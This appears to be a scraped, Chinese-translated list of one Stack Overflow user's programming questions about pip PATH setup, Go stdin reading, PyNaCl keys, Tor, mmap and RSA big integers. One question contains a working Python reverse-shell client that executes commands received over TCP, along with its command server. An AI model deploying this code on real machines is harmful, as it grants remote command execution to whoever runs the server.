小编Awn*_*Awn的帖子

自动将已安装的PIP包添加到路径

对于我的包,foo,我正在使用以下setup.py:

from setuptools import setup

setup(name='foo',
      version='0.0.1',
      description='Lol',
      url='https://github.com/foo/foo',
      author='legend',
      author_email='lol@gmail.com',
      license='GPLv3',
      packages=['foo'],
      install_requires=["bar"],
      entry_points = {'console_scripts': ['foo = foo:main']},
      keywords = ['foo'],
      zip_safe=False)
Run Code Online (Sandbox Code Playgroud)

在我的Arch系统上进行测试时,它会自动将脚本添加到PATH中,这样我就可以foo在命令行上运行,并自动运行main()函数.然后,我启动了一个虚拟机并在Windows 7上进行了测试.Pip安装好的软件包,但它不在我的路上!

救命?

python installation pip path

7
推荐指数
2
解决办法
2万
查看次数

初始连接后,TCP服务器未收到任何信息。蟒蛇

因此,我一直在尝试使用Python的套接字模块,并且创建了一个简单的TCP客户端/服务器设置。一切都在IP 192.168.1.3的同一系统(Win7x64)上运行

这是客户端(这是反向TCP连接):

import socket, subprocess, time

me = '192.168.1.3'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try:
        s.connect((me, port))
        break
    except:
        time.sleep(1)
s.send('[*] Connected!')

while True:     
     data = s.recv(1024)
     output = subprocess.check_output(data, shell=True)
     s.send(output)     
s.close()
Run Code Online (Sandbox Code Playgroud)

这是服务器:

import socket

host = '0.0.0.0'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

def handler(client):
    req = client.recv(1024)
    print 'Recieved: %s' % req
    command = raw_input('> ')
    print 'Sending: %s' % command
    client.send(command)
    #client.close()

while True:
    client,addr = s.accept() …
Run Code Online (Sandbox Code Playgroud)

python sockets client tcp server

5
推荐指数
1
解决办法
4163
查看次数

从标准输入读取大量数据

你如何从 Golang 的 stdin 中读取大量数据?我所有的读取当前都在 4095 字节处停止。我已经尝试了很多东西,但我当前的代码看起来像:

var stdinReader = bufio.NewReader(os.stdin)

// Input reads from stdin while echoing back.
func Input(prompt string) []byte {
    var data []byte

    // Output prompt.
    fmt.Print(prompt)

    // Read until newline.
    for {
        bytes, isPrefix, _ := stdinReader.ReadLine()
        data = append(data, bytes...)

        if !isPrefix {
            break
        }
    }

    // Everything went well. Return the data.
    return data
}
Run Code Online (Sandbox Code Playgroud)

我也试过使用扫描仪,但不知道如何退出

for scanner.Scan() {
    data = append(data, scanner.Bytes()...)
}
Run Code Online (Sandbox Code Playgroud)

当换行发生时(即当用户按下回车键时)。

我也试过 ReadBytes('\n') 但即使是在 4095 字节处停止。除了增加缓冲区的大小(这只是一个丑陋的黑客),我不知道此时该怎么做。

linux buffer stdin go

5
推荐指数
1
解决办法
1038
查看次数

将pynacl中的公钥作为JSON对象发送

我有一个服务器和客户端设置,当客户端连接时,它通过一个带有用户名和 public_key 的 JSON 对象发送。

我目前的代码:

private_key = PrivateKey.generate()
public_key = private_key.public_key
payload = json.dumps({"username": username, "public_key": public_key}).encode('hex')
Run Code Online (Sandbox Code Playgroud)

但我得到:

TypeError: <nacl.public.PublicKey object at 0x7fc6ecff18d0> is not JSON serializable
Run Code Online (Sandbox Code Playgroud)

任何解决方案?

python sockets json nacl-cryptography

4
推荐指数
1
解决办法
3089
查看次数

Golang中Tor的TCP连接

可以通过tor网络启动TCP连接吗?我环顾四周但没有找到它.

如果没有,是否有类似TCP的东西 - 像websockets - 可以用来代替?

注意:目前没有源代码供我发帖,因为还没有.这只是事先的研究.

tcp tor go

4
推荐指数
1
解决办法
2271
查看次数

将指针转换为字节片

Mmap()在系统调用x/sys/unix 在Golang返回[]byte类型,而底层系统调用实际上返回一个指针。它是如何做到的?

更具体地说,在Golang开发人员的程序包中,该VirtualAlloc函数仅返回一个指针。如何将其转换为字节片,就像在Unix软件包中一样?

pointers mmap system-calls virtualalloc go

2
推荐指数
2
解决办法
2538
查看次数

声明类型 *big.Int 溢出常量 golang

使用 crypto/rsa 包生成密钥对很简单,但自己声明它很痛苦。

我试图声明一个 rsa.PublicKey 类型的变量,它定义为:

type PublicKey struct {
        N *big.Int // modulus
        E int      // public exponent
}
Run Code Online (Sandbox Code Playgroud)

我已经尝试了一百零三种方法,但我的代码目前看起来像:

PublicKey := new(rsa.PublicKey)

PublicKey.N = 816296297763124917516388440338759500423535395290623239231731567955308683122890408110917894172120047293936355563865250296188045077627313515614945465389856882915690164742049821466713295090362914686221827012330520911241180940331170800129566133563943306086709509374426793735798983196271063876215936717347200817820685489907456621846519078704338901417077754153251584919148131668369473222078960469749879767829241702858598298315759777245767370065542249841401685747514693845945420663931515035586797756896017462499826100826469085345198490755785708882569397123671313993933597159332140624225622926365258472081852103795720495728779491860405409429756519754432759030127289255409541378096471189783136441306888685144178712329637014132885623358066824356187044819578205172698506597932578231190886063535262514544569054747443504586895362356519252402500104155389876467086444850150261677007183689594568339805440756958346151465691221654766132846717117978938197863452998630570321897641091974200100764524637808876854013287571133384735164135339783262769321526997252096927500094807456840263828514476848496064212933462545940124330314474126636272733109787671957872657823289210871868354885730638093964892263227561606744192311648252923260065974092128743259979645799

PublicKey.E = 65537
Run Code Online (Sandbox Code Playgroud)

我收到此错误:

./main.go:21: constant too large: 816296297763124917516388440338759500423535395290623239231731567955308683122890408110917894172120047293936355563865250296188045077627313515614945465389856882915690164742049821466713295090362914686221827012330520911241180940331170800129566133563943306086709509374426793735798983196271063876215936717347200817820685489907456621846519078704338901417077754153251584919148131668369473222078960469749879767829241702858598298315759777245767370065542249841401685747514693845945420663931515035586797756896017462499826100826469085345198490755785708882569397123671313993933597159332140624225622926365258472081852103795720495728779491860405409429756519754432759030127289255409541378096471189783136441306888685144178712329637014132885623358066824356187044819578205172698506597932578231190886063535262514544569054747443504586895362356519252402500104155389876467086444850150261677007183689594568339805440756958346151465691221654766132846717117978938197863452998630570321897641091974200100764524637808876854013287571133384735164135339783262769321526997252096927500094807456840263828514476848496064212933462545940124330314474126636272733109787671957872657823289210871868354885730638093964892263227561606744192311648252923260065974092128743259979645799
./main.go:21: overflow in constant
./main.go:21: cannot use 0 (type int) as type *big.Int in assignment
Run Code Online (Sandbox Code Playgroud)

有什么帮助吗?

struct rsa go bigint

0
推荐指数
1
解决办法
2096
查看次数